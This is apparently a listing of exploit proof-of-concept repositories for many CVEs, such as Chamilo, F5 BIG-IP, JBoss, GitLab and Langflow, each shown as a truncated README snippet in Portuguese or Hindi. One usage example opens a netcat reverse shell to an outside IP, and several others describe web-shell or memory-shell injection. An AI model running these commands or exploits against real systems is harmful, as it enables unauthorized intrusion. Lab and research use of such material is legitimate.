Chamilo-CVE-2023-4220-RCE-Exploit

CVE-2023-4220 Chamilo LMS Execução Remota de Código via Upload de Arquivo Grande não Autenticado Visão Geral Este repositório contém um exploit de prova de conceito PoC para a vulnerabilidade identificada como CVE-2023-4220 no Chamilo LMS. Este exploit aproveita uma vulnerabilidade de upload de...

CVE-2023-30258-RCE-POC

CVE-2023-30258-RCE-POC POC para CVE-2023-30258-RCE por n0o0b Uso usage: poc.py -h -u URL -c CMD example. python poc.py -u http://10.10.69.34/mbilling --cmd "nc -c sh 10.21.126.163 8888" options: -h, --help show this help message and exit -u URL, --url URL Target URL -c CMD, --cmd CMD Command to...

CVE-2016-2233

CVE-2016-2233 CVE-2016-2233 é uma vulnerabilidade de estouro de buffer baseado em pilha relacionada a um software IRC amplamente utilizado, o Hexchat. Construímos um servidor IRC e lançamos o ataque sobre ele para fazer todos os clientes conectados ao servidor falharem. Exploramos nosso ataque no...

CVE-2022-35914_poc

CVE-2022-35914poc Modificado para GLPI Offsec Lab: calluserfunc, arraymap, passthru Referências Modificado para funcionar no Proving Grounds Practice Lab: GLPI https://github.com/glpi-project/glpi/security/advisories/GHSA-c5gx-789q-5pcr...

CVE-2021-35211

Exploit Serv-U CVE-2021-35211 Potencial de DoS - verifique suas regras de engajamento O exploit não funciona todas as vezes, mas funciona o suficiente para executar shellcode em aproximadamente 1 em cada 5 ou 6 execuções. No entanto, às vezes um exploit falho pode travar o servidor Serv-U...

jboss-autopwn-1

jboss-autopwn JBoss Autopwn conforme apresentado na BlackHat Europe 2010 - esta versão incorpora a CVE-2010-0738, a vulnerabilidade de bypass de autenticação JBoss via manipulação de VERB, descoberta pela Minded Security. C. Papathanasiou 2010 INTRODUÇÃO Este script JBoss implanta um shell JSP no...

CVE-2024-36401-WoodpeckerPlugin

CVE-2024-36401-WoodpeckerPlugin Introdução Detecção e exploração em lote do CVE-2024-36401, com suporte à injeção personalizada de memory shell 1. Pode realizar detecção em lote 2. O backend já filtra as URLs basta fornecer a URL 3. Permite gerar e injetar um memory shell personalizado o memory...

CVE-2022-1388

CVE-2022-1388 Vulnerabilidade RCE não autenticada do F5 BIG-IP Vulnerabilidade RCE de bypass de autenticação do F5 BIG-IP iControl REST fofa keywords: title="BIG-IP- Redirect" uso ataque $ python3 cve-2022-1388.py -t https://203.xxx.xxx.xxx + https://203.xxx.xxx.xxx is vulnerable input your...

cve-2018-11776-docker

CVE-2018-11776 Docker container e exploit POC escrito em Go Você pode construir sua própria imagem e executá-la: docker build . -t yourimagename docker container run -it --rm -p 8080:8080 yourimagename Ou você pode simplesmente puxar a que criei com amor para você: docker container run -it --rm -...

CVE-2022-2992

CVE-2022-2992 Execução Remota de Comandos Autenticada no Gitlab via importação do GitHub. Uma vulnerabilidade no GitLab CE/EE que afeta todas as versões desde 11.10 antes de 15.1.6, todas as versões a partir de 15.2 antes de 15.2.4, todas as versões a partir de 15.3 antes de 15.3.2. permite que u...

CVE-2023-46805

Título: Prova de Conceito para CVE-2023-46805 - Apenas para Uso Educacional Licença: Este trabalho está licenciado sob a Creative Commons Attribution 4.0 International License CC BY 4.0. Você é livre para compartilhar, copiar, distribuir e transmitir este trabalho, adaptá-lo ou usá-lo para outros...

ProFTPD_CVE-2015-3306

m4ud ProFTPD 1.3.5 RCE शोषण CVE : 2015-3306! ProFTPd 1.3.5 RCE उपयोग: ProFTPD.py options विकल्प: -h, --help यह सहायता संदेश दिखाएँ और बाहर निकलें, -l LHOST, --lhost=LHOST रिवर्स शेल के लिए स्थानीय IP आवश्यक, -p LPORT, --lport=LPORT रिवर्स शेल के लिए पोर्ट आवश्यक, -t TARGET, --target=TARGET कमजोर...

CVE-2022-26134

CVE-2022-26134 Uso: exploit.py url command...

security-writeups

Security Writeups Lab write-ups from self-directed work, mostly TryHackMe, plus a PortSwigger SQLi practical. The reasoning lives on the site — the full methodology, the payloads, the parts where I went wrong first — and this repo is the index and the scripts. Nine rooms, and they are not nine...

RCE-CVE-2025-3248

Execução Remota de Código Autenticada CVE-2025-3248 Langflow Este script Python explora CVE-2025-3248 para executar comandos arbitrários ou gerar um reverse shell em um sistema vulnerável. Autenticação é necessária para usar este exploit. Funcionalidades Execução de Comandos Autenticada: Executar...

nmap-scan-results

Varredura Nmap: Mais de 200 Vulnerabilidades Encontradas Crítico: CVE-2023-38408 9.8, CVE-2024-38476 9.8, Slowloris DoS Relatório Completo...

CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit

🔐 ReactRCE-Scanner CVE-2025-55182 — उन्नत React Server Components RCE एक्सप्लॉइट और मूल्यांकन फ्रेमवर्क 📑 विषय-सूची कानूनी अस्वीकरण और नैतिक सूचना अवलोकन मुख्य क्षमताएँ त्वरित प्रारंभ मार्गदर्शिका आर्किटेक्चर और विशेषताओं की गहन जानकारी कॉन्फ़िगरेशन संदर्भ स्वचालित परीक्षण सूट उपचार और शमन योगदान...

CVE-2022-1388

CVE-2022-1388 F5 BIG-IP को प्रभावित करने वाले CVE-2022-1388 के लिए PoC। उपयोग $ ./poc.sh --help Usage: poc.sh --help --file FILE --scan --exploit --payload PAYLOAD CVE-2022-1388 PoC script. One or multiple IPs can be scanned. Arguments: --help Show this help message and exit. --file FILE File lis...

vulhub-struts2

Apache Struts2 S2-045 RCE CVE-2017-5638 📌 Visão Geral Este projeto demonstra a vulnerabilidade de Execução Remota de Código RCE no Apache Struts2 CVE-2017-5638. Atacantes podem explorar um cabeçalho HTTP Content-Type manipulado para executar comandos arbitrários do sistema em servidores...

CVE-2020-10567

POC-CVE-2020-10567 RCE poc - RESPONSIVE filemanager v.9.14.0. मुख्य शाखा नहीं ⚠️ गिटहब प्रोजेक्ट : https://github.com/trippo/ResponsiveFilemanager आवश्यकताएँ: कुछ भी आवश्यक नहीं है, यह शोषण अप्रमाणित है। RESPONSIVE Filemanager एप्लिकेशन एक वेब-आधारित फ़ाइल प्रबंधन उपकरण है जिसका उपयोग सर्वर पर...